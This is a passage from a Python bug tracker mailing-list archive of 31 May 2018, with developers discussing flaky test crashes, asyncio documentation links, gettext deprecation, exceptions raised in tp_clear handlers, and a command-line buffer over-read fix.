<1527757366.46.0.682650639539.issue33698@psf.upfronthosting.co.za> Paul Moore added the comment: You could add the line import sys; sys.path.insert(0, '') to a .pth file. The documentation you pointed out states that lines starting with "import" are executed... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 05:10:25 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 09:10:25 +0000 Subject: [issue33701] test_datetime crashed (SIGSEGV) on Travis CI In-Reply-To: <1527719641.19.0.682650639539.issue33701@psf.upfronthosting.co.za> Message-ID: <20180531091012.GA2761@bytereef.org> Stefan Krah added the comment: On Wed, May 30, 2018 at 10:34:01PM +0000, STINNER Victor wrote: > Fatal Python error: Segmentation fault > Current thread 0x00002b52f7326400 (most recent call first): > > Is it a bug in the _decimal module? These kinds of errors are often completely random in the test suite: https://bugs.python.org/issue25276 https://bugs.python.org/issue25276#msg252113 One with test_decimal, one with test_email. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 05:23:21 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 09:23:21 +0000 Subject: [issue33701] test_datetime crashed (SIGSEGV) on Travis CI In-Reply-To: <1527719641.19.0.682650639539.issue33701@psf.upfronthosting.co.za> Message-ID: <1527758601.02.0.682650639539.issue33701@psf.upfronthosting.co.za> Stefan Krah added the comment: How would #33627 support the theory that this is a bug in _decimal? As I read it, #33627 is in test_complex, which supports the "unrelated random" theory. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 05:24:27 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 31 May 2018 09:24:27 +0000 Subject: [issue33709] test.support.FS_NONASCII returns incorrect result in Windows with non-US locale In-Reply-To: <1527756850.06.0.682650639539.issue33709@psf.upfronthosting.co.za> Message-ID: <1527758667.22.0.682650639539.issue33709@psf.upfronthosting.co.za> Change by Ivan Pozdeev : ---------- pull_requests: +6904 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 05:31:01 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 09:31:01 +0000 Subject: [issue33708] Doc: Asyncio's Event documentation typo. In-Reply-To: <1527756494.64.0.682650639539.issue33708@psf.upfronthosting.co.za> Message-ID: <1527759061.6.0.682650639539.issue33708@psf.upfronthosting.co.za> Timo Furrer added the comment: It seems like it's pointing to the correct location, it's just that depending on the size of your screen the "wait" section is too far to the bottom and therefore it can't quite scroll to the heading of the wait heading so that it's on top of your screen ;) ---------- nosy: +tuxtimo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 05:32:41 2018 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Thu, 31 May 2018 09:32:41 +0000 Subject: [issue33708] Doc: Asyncio's Event documentation typo. In-Reply-To: <1527756494.64.0.682650639539.issue33708@psf.upfronthosting.co.za> Message-ID: <1527759161.09.0.682650639539.issue33708@psf.upfronthosting.co.za> ???? ????????? added the comment: NO! it points to asyncio.wait() but should point to asyncio.Event.wait() ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 05:35:36 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 09:35:36 +0000 Subject: [issue33709] test.support.FS_NONASCII returns incorrect result in Windows with non-US locale In-Reply-To: <1527756850.06.0.682650639539.issue33709@psf.upfronthosting.co.za> Message-ID: <1527759336.33.0.682650639539.issue33709@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 05:50:23 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 09:50:23 +0000 Subject: [issue33708] Doc: Asyncio's Event documentation typo. In-Reply-To: <1527756494.64.0.682650639539.issue33708@psf.upfronthosting.co.za> Message-ID: <1527760223.59.0.682650639539.issue33708@psf.upfronthosting.co.za> Timo Furrer added the comment: Yes, sorry, my bad. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 05:51:55 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 09:51:55 +0000 Subject: [issue33708] Doc: Asyncio's Event documentation typo. In-Reply-To: <1527756494.64.0.682650639539.issue33708@psf.upfronthosting.co.za> Message-ID: <1527760315.23.0.682650639539.issue33708@psf.upfronthosting.co.za> Timo Furrer added the comment: The link to the set method is also wrong. It points to https://docs.python.org/3/library/stdtypes.html#set instead of https://docs.python.org/3/library/asyncio-sync.html#asyncio.Event.set ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 05:55:25 2018 From: report at bugs.python.org (Thomas Dybdahl Ahle) Date: Thu, 31 May 2018 09:55:25 +0000 Subject: [issue33447] Asynchronous lambda syntax In-Reply-To: <1525836160.23.0.682650639539.issue33447@psf.upfronthosting.co.za> Message-ID: <1527760525.87.0.682650639539.issue33447@psf.upfronthosting.co.za> Thomas Dybdahl Ahle added the comment: Just wanted to add another use-case. In a project I'm working on, we are building a lot of graphs using code like this: ``` nodes = [ Node('node-name1', children=[...], classifier=has_foo), Node('node-name2', children=[...], classifier=has_bar), ... ] ``` where `has_foo` and `has_bar` are async functions. Sometimes it would be useful to combine two functions with ``` Node('node-name', children=[...], classifier=async lambda: x: await has_bar(x) or await has_foo(x)) ``` If this function was to be an `async def`, rather than `async lambda`, it would have to be defined far away from where it is used. This doesn't always make sense semantically. I don't think this example on its own is enough to warrant new syntax in the language, but if somebody is collecting "multiple use cases to justify not just using async def first", perhaps it's worth including. ---------- nosy: +thomasahle _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 06:15:47 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 10:15:47 +0000 Subject: [issue33708] Doc: Asyncio's Event documentation typo. In-Reply-To: <1527756494.64.0.682650639539.issue33708@psf.upfronthosting.co.za> Message-ID: <1527761747.37.0.682650639539.issue33708@psf.upfronthosting.co.za> Timo Furrer added the comment: I'm working on a patch :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 06:20:49 2018 From: report at bugs.python.org (Thomas Wouters) Date: Thu, 31 May 2018 10:20:49 +0000 Subject: [issue32591] Deprecate sys.set_coroutine_wrapper and replace it with more focused API(s) In-Reply-To: <1516259345.01.0.467229070634.issue32591@psf.upfronthosting.co.za> Message-ID: <1527762049.64.0.682650639539.issue32591@psf.upfronthosting.co.za> Thomas Wouters added the comment: New changeset 500a419a7a68c32650717b213f0f5ab0461bb16b by T. Wouters in branch '3.6': [3.6] bpo-32591: fix abort in _PyErr_WarnUnawaitedCoroutine during shutdown (GH-5337) (#6536) https://github.com/python/cpython/commit/500a419a7a68c32650717b213f0f5ab0461bb16b ---------- nosy: +twouters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 06:36:24 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Thu, 31 May 2018 10:36:24 +0000 Subject: [issue2504] Add gettext.pgettext() and variants support In-Reply-To: <1206756624.13.0.664664048525.issue2504@psf.upfronthosting.co.za> Message-ID: <1527762984.56.0.682650639539.issue2504@psf.upfronthosting.co.za> Cheryl Sabella added the comment: No, I didn't have a use case for the l* functions. I included them just as a result of applying the entire patch from 2010. I also didn't know if further discussion was needed before excluding them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 06:48:21 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 10:48:21 +0000 Subject: [issue33708] Doc: Asyncio's Event documentation typo. In-Reply-To: <1527756494.64.0.682650639539.issue33708@psf.upfronthosting.co.za> Message-ID: <1527763701.07.0.682650639539.issue33708@psf.upfronthosting.co.za> Change by Timo Furrer : ---------- keywords: +patch pull_requests: +6905 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 07:00:56 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 11:00:56 +0000 Subject: [issue33710] Deprecate gettext.lgettext() Message-ID: <1527764456.73.0.682650639539.issue33710@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : Using gettext.lgettext() is the one of two right ways of doing translation in Python 2. In Python 2, gettext.gettext() returns a raw 8-bit string as it was written in the translation file. Since different translation files can use different encodings, and the locale encoding can be different from them, gettext.gettext() usually is not appropriate. gettext.lgettext() re-encodes all translated messages from file encodings to the specified one (or to the locale encoding by default). It works properly for str-based messages. Other right way is using gettext.ugettext() which returns a Unicode string. In Python 3 gettext.gettext() was removed, and gettext.ugettext() was renamed to gettext.gettext(). This is the single right way. gettext.lgettext() still returns messages encoded to bytes, but since virtually all messages are Unicode strings in Python 3, it is virtually useless. At least I don't know any proper use case for it. In addition, gettext.lgettext() was half-broken up to recent times (see issue29755). Seems gettext.lgettext() was not removed in Python 3.0 just due to an oversight. I suggest to deprecate it in 3.8 and remove it in future versions. ---------- components: Library (Lib) messages: 318283 nosy: barry, serhiy.storchaka priority: normal severity: normal status: open title: Deprecate gettext.lgettext() versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 07:12:06 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 11:12:06 +0000 Subject: [issue33600] [EASY DOC] Python 2: document that platform.linux_distribution() has been removed In-Reply-To: <1526994321.44.0.682650639539.issue33600@psf.upfronthosting.co.za> Message-ID: <1527765126.93.0.682650639539.issue33600@psf.upfronthosting.co.za> Change by Timo Furrer : ---------- keywords: +patch pull_requests: +6906 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 07:13:44 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 31 May 2018 11:13:44 +0000 Subject: [issue33711] Could not find externals/db-* in msi.py on license generation Message-ID: <1527765224.13.0.682650639539.issue33711@psf.upfronthosting.co.za> New submission from Ivan Pozdeev : c:\Users\Sasha\Documents\cpython\Tools\msi>python msi.py Traceback (most recent call last): File "msi.py", line 1372, in add_files(db) File "msi.py", line 956, in add_files generate_license() File "msi.py", line 928, in generate_license raise ValueError, "Could not find "+srcdir+"/externals/"+pat ValueError: Could not find c:\Users\Sasha\Documents\cpython/externals/db-* The dir in externals is actually called bsddb-. I've no idea how they can official releases ---------- components: Build messages: 318284 nosy: Ivan.Pozdeev priority: normal pull_requests: 6907 severity: normal status: open title: Could not find externals/db-* in msi.py on license generation type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 07:15:17 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 31 May 2018 11:15:17 +0000 Subject: [issue33711] Could not find externals/db-* in msi.py on license generation In-Reply-To: <1527765224.13.0.682650639539.issue33711@psf.upfronthosting.co.za> Message-ID: <1527765317.57.0.682650639539.issue33711@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: ... can be built with such a glaring mistake in the script. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 07:33:48 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 11:33:48 +0000 Subject: [issue33687] uu.py calls os.path.chmod which doesn't exist In-Reply-To: <1527631327.84.0.682650639539.issue33687@psf.upfronthosting.co.za> Message-ID: <1527766428.26.0.682650639539.issue33687@psf.upfronthosting.co.za> Change by Timo Furrer : ---------- keywords: +patch pull_requests: +6908 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 07:43:30 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 11:43:30 +0000 Subject: [issue33687] uu.py calls os.path.chmod which doesn't exist In-Reply-To: <1527631327.84.0.682650639539.issue33687@psf.upfronthosting.co.za> Message-ID: <1527767010.03.0.682650639539.issue33687@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Would be nice to add a test. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:08:48 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 12:08:48 +0000 Subject: [issue33712] OrderedDict can set an exception in tp_clear Message-ID: <1527768528.87.0.682650639539.issue33712@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : The tp_clear handler of OrderedDict can set an exception when fail to allocate a nodes cache for an empty dict. An exception in tp_clear is not expected and caused a crash in the garbage collector. In the master branch it will cause just writing a traceback to stderr (see issue33622), but in any case it would be better to handle the failure locally in OrderedDict. Perhaps the cache for an empty dict is not needed. ---------- components: Interpreter Core messages: 318287 nosy: eric.snow, inada.naoki, serhiy.storchaka priority: normal severity: normal status: open title: OrderedDict can set an exception in tp_clear type: crash versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:15:10 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 12:15:10 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear Message-ID: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : The tp_clear handler of memoryview can set an exception when fail to release the buffer. An exception in tp_clear is not expected and caused a crash in the garbage collector. In the master branch it will cause just writing a traceback to stderr (see issue33622), but in any case it would be better to handle the failure locally in memoryview. I don't know what is the best solution: silencing an error, writing a traceback with more detailed information, or resurrecting the buffer object. ---------- components: Interpreter Core messages: 318288 nosy: serhiy.storchaka, skrah priority: normal severity: normal status: open title: memoryview can set an exception in tp_clear type: crash versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:21:45 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 12:21:45 +0000 Subject: [issue33714] module can set an exception in tp_clear Message-ID: <1527769305.39.0.682650639539.issue33714@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : The tp_clear handler of the module object calls a custom clear function if the PyModuleDef.m_clear field is set. This function can set an exception which will be leaked to the garbage collector. An exception in tp_clear is not expected and caused a crash in the garbage collector. In the master branch it will cause just writing a traceback to stderr (see issue33622), but in any case it would be better to handle the failure locally in the module's tp_clear. ---------- components: Interpreter Core messages: 318289 nosy: serhiy.storchaka priority: normal severity: normal status: open title: module can set an exception in tp_clear type: crash versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:30:05 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 12:30:05 +0000 Subject: [issue33622] Fix and improve errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527769805.28.0.682650639539.issue33622@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See issue33712, issue33713 and issue33714 for three cases in the stdlib where an exception can be set in the tp_clear handler. This caused a crash in the garbage collector, or can be just silenced if failed at the shutdown stage. In the master branch it will cause writing a traceback to the stderr. It would be better to handle exceptions locally in the tp_clear handlers. But perhaps it may be worth to handle leaked exceptions in the garbage collector too. I'm just not sure about a solution. Writing a traceback to the stderr can cause a regression if it was just silenced before. But silencing it can hide bugs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:32:54 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 12:32:54 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527769974.23.0.682650639539.issue33713@psf.upfronthosting.co.za> Stefan Krah added the comment: Could you please show how tp_clear() can be called when self->exports > 0? It should not happen. #33622 is a big issue with many commits. Would it be possible to extract the relevant part? ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:36:45 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 12:36:45 +0000 Subject: [issue33715] test_multiprocessing_spawn.test_wait_result() failed on x86 Windows7 3.x Message-ID: <1527770205.15.0.682650639539.issue33715@psf.upfronthosting.co.za> New submission from STINNER Victor : http://buildbot.python.org/all/#/builders/58/builds/932 ====================================================================== FAIL: test_wait_result (test.test_multiprocessing_spawn.WithManagerTestCondition) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\_test_multiprocessing.py", line 1485, in test_wait_result self.assertTrue(c.wait(10)) AssertionError: False is not true Note: this buildbot is known to be slow. See also bpo-30317 and bpo-30356. (And maybe also bpo-31687.) ---------- components: Tests, Windows messages: 318292 nosy: davin, paul.moore, pitrou, steve.dower, tim.golden, vstinner, zach.ware priority: normal severity: normal status: open title: test_multiprocessing_spawn.test_wait_result() failed on x86 Windows7 3.x versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:38:26 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 12:38:26 +0000 Subject: [issue33687] uu.py calls os.path.chmod which doesn't exist In-Reply-To: <1527631327.84.0.682650639539.issue33687@psf.upfronthosting.co.za> Message-ID: <1527770306.9.0.682650639539.issue33687@psf.upfronthosting.co.za> Timo Furrer added the comment: I've added a test and updated the PR. ---------- nosy: +tuxtimo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:41:13 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 12:41:13 +0000 Subject: [issue33716] test_concurrent_futures.test_crash() failed on x86 Windows7 3.7 Message-ID: <1527770473.78.0.682650639539.issue33716@psf.upfronthosting.co.za> New submission from STINNER Victor : x86 Windows7 3.7: http://buildbot.python.org/all/#/builders/111/builds/299 test_crash (test.test_concurrent_futures.ProcessPoolSpawnExecutorDeadlockTest) ... 26.57s ok ... test_crash (test.test_concurrent_futures.ProcessPoolSpawnExecutorDeadlockTest) ... 90.96s FAIL ... ====================================================================== FAIL: test_crash (test.test_concurrent_futures.ProcessPoolSpawnExecutorDeadlockTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\cygwin\home\db3l\buildarea\3.7.bolen-windows7\build\lib\test\test_concurrent_futures.py", line 131, in tearDown self.assertLess(dt, 60, "synchronization issue: test lasted too long") AssertionError: 90.95560574531555 not less than 60 : synchronization issue: test lasted too long This buildbot is known to be slow. See also bpo-33715. ---------- components: Tests, Windows messages: 318294 nosy: paul.moore, steve.dower, tim.golden, vstinner, zach.ware priority: normal severity: normal status: open title: test_concurrent_futures.test_crash() failed on x86 Windows7 3.7 versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:41:23 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 12:41:23 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527770483.65.0.682650639539.issue33713@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I don't know how to reproduce a failure in tp_clear(). I just can't prove that it never fails. Maybe it is needed a bug in the implementation of the buffer protocol in third-party extension. If it should not happen then we can just add assert(!PyErr_Occurred()); or if (PyErr_Occurred()) { PyErr_WriteUnraisable(NULL); } It is better to crash in memoryview.c than in the garbage collector if this crash is caused by incorrect buffer protocol implementation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:47:53 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 12:47:53 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527770873.39.0.682650639539.issue33713@psf.upfronthosting.co.za> Stefan Krah added the comment: This looks the same as #25525. I think it cannot happen, and no one has ever reported an actual issue for 6 years now. You *really* need to show a reproducer if you assert that something can crash. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:49:39 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 12:49:39 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527770979.5.0.682650639539.issue33713@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See the delete_garbage() function line 770 in Modules/gcmodule.c for changes in the master branch relevant to this issue. See Py_FatalError() in the collect() function at line 974 for a crash. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:53:12 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 12:53:12 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527771192.51.0.682650639539.issue33713@psf.upfronthosting.co.za> Stefan Krah added the comment: Yes, but who calls tp_clear() if the memoryview is not being deallocated? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 08:57:05 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 12:57:05 +0000 Subject: [issue33706] Segfault in command line processing due to buffer over-read In-Reply-To: <1527748270.57.0.682650639539.issue33706@psf.upfronthosting.co.za> Message-ID: <1527771425.33.0.682650639539.issue33706@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6909 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:03:11 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 13:03:11 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527771791.78.0.682650639539.issue33713@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The GC calls tp_clear() if the memoryview is a part of the reference loop. a = [memoryview(...)] a.append(a) del a The GC will call tp_clear() of the list or the memoryview. What will be called first is not specified. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:06:58 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 13:06:58 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527772018.8.0.682650639539.issue33713@psf.upfronthosting.co.za> Stefan Krah added the comment: The point is that *no garbage collection is triggered* if self->exports > 0. It would be a major bug if it were and I suspect it would be reported within a week. Fortunately, no such bug has been reported in 6 years. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:08:19 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 13:08:19 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527772099.06.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: > Did your PR fix the issue? The bug was that *sometimes* on Travis CI, and only on Travis CI (!?), writing 1 MiB into the multiprocessing pipe didn't block. The bug is really strange because it is only reproduced on the clang Linux job of Travis CI which runs tests in parallel. Not on the Linux gcc which runs tests sequentially in coverage. Moreover, the failure only occurs for a specific order of tests. You can easily reproduce the issue if you reduce the size of the data written into the pipe at the end of _test_ignore(). If the write (send_bytes) doesn't block, you get the same error. I'm confident that writing 4 MiB instead of 1 MiB will fix the issue. I saw the test passing with 4 MiB whereas it failed with 1 MiB, when I fixed the test order. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:08:33 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 13:08:33 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527772113.0.0.682650639539.issue33532@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:09:30 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 13:09:30 +0000 Subject: [issue33706] Segfault in command line processing due to buffer over-read In-Reply-To: <1527748270.57.0.682650639539.issue33706@psf.upfronthosting.co.za> Message-ID: <1527772170.71.0.682650639539.issue33706@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 58d1683255abb0df4fc70960da6121aeaa41e1d1 by Victor Stinner in branch 'master': bpo-33706: Fix pymain_parse_cmdline_impl() (GH-7283) https://github.com/python/cpython/commit/58d1683255abb0df4fc70960da6121aeaa41e1d1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:09:56 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 31 May 2018 13:09:56 +0000 Subject: [issue33706] Segfault in command line processing due to buffer over-read In-Reply-To: <1527748270.57.0.682650639539.issue33706@psf.upfronthosting.co.za> Message-ID: <1527772196.85.0.682650639539.issue33706@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6910 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:15:22 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 13:15:22 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527772522.99.0.682650639539.issue33627@psf.upfronthosting.co.za> STINNER Victor added the comment: > Lib/test/test_numeric_tower.py:184 in test_complex The crash occurs at: def test_complex(self): # comparisons with complex are special: equality and inequality # comparisons should always succeed, but order comparisons should # raise TypeError. z = 1.0 + 0j w = -3.14 + 2.7j for v in 1, 1.0, F(1), D(1), complex(1): # <~~ HERE self.assertEqual(z, v) self.assertEqual(v, z) where F = fractions.Fraction and D = decimal.Decimal ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:16:52 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 13:16:52 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527772612.69.0.682650639539.issue33627@psf.upfronthosting.co.za> STINNER Victor added the comment: I bet that the bug comes from _decimal. Fraction is implemented in pure Python, and complex type is supposed to be simpler than the _decimal.Decimal type. The whole mystery is why the bug only occurs in test_numeric_tower.test_complex() and why not in test_complex, test_fractions or test_decimal!? And why the bug is random. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:17:50 2018 From: report at bugs.python.org (Timo Furrer) Date: Thu, 31 May 2018 13:17:50 +0000 Subject: [issue33606] Improve logging performance when logger disabled In-Reply-To: <1527016559.5.0.682650639539.issue33606@psf.upfronthosting.co.za> Message-ID: <1527772670.61.0.682650639539.issue33606@psf.upfronthosting.co.za> Change by Timo Furrer : ---------- keywords: +patch pull_requests: +6911 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:23:34 2018 From: report at bugs.python.org (Stefan Krah) Date: Thu, 31 May 2018 13:23:34 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527773014.06.0.682650639539.issue33627@psf.upfronthosting.co.za> Stefan Krah added the comment: Good luck finding it then, Victor. ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:23:58 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 31 May 2018 13:23:58 +0000 Subject: [issue33713] memoryview can set an exception in tp_clear In-Reply-To: <1527768910.92.0.682650639539.issue33713@psf.upfronthosting.co.za> Message-ID: <1527773038.21.0.682650639539.issue33713@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Serhiy is right about the theoretical concern here. However, it's probably quite difficult to find a concrete situation where this occurs, because we're talking about mbuf_clear and the managerbuffer object can't really get involved in a reference cycle by itself (not in normal use anyway): the memoryview object does, but it's a different thing. By the way: PyBuffer_Release() returns void, so IMO it's a bug if it can return with an exception set. We should fix that rather than focus on mbuf_clear(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:26:35 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 13:26:35 +0000 Subject: [issue33701] test_datetime crashed (SIGSEGV) on Travis CI In-Reply-To: <1527719641.19.0.682650639539.issue33701@psf.upfronthosting.co.za> Message-ID: <1527773195.15.0.682650639539.issue33701@psf.upfronthosting.co.za> STINNER Victor added the comment: > How would #33627 support the theory that this is a bug in _decimal? As I read it, #33627 is in test_complex, which supports the "unrelated random" theory. I'm not sure of anything. It's just a bet. I asked you to have a look, just in case you see something "obvious". My theory for bpo-33627: https://bugs.python.org/issue33627#msg318304 None of these bugs make any sense :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 09:32:02 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 13:32:02 +0000 Subject: [issue33709] test.support.FS_NONASCII returns incorrect result in Windows with non-US locale In-Reply-To: <1527756850.06.0.682650639539.issue33709@psf.upfronthosting.co.za> Message-ID: <1527773522.41.0.682650639539.issue33709@psf.upfronthosting.co.za> STINNER Victor added the comment: > FAIL: test_expandvars_nonascii 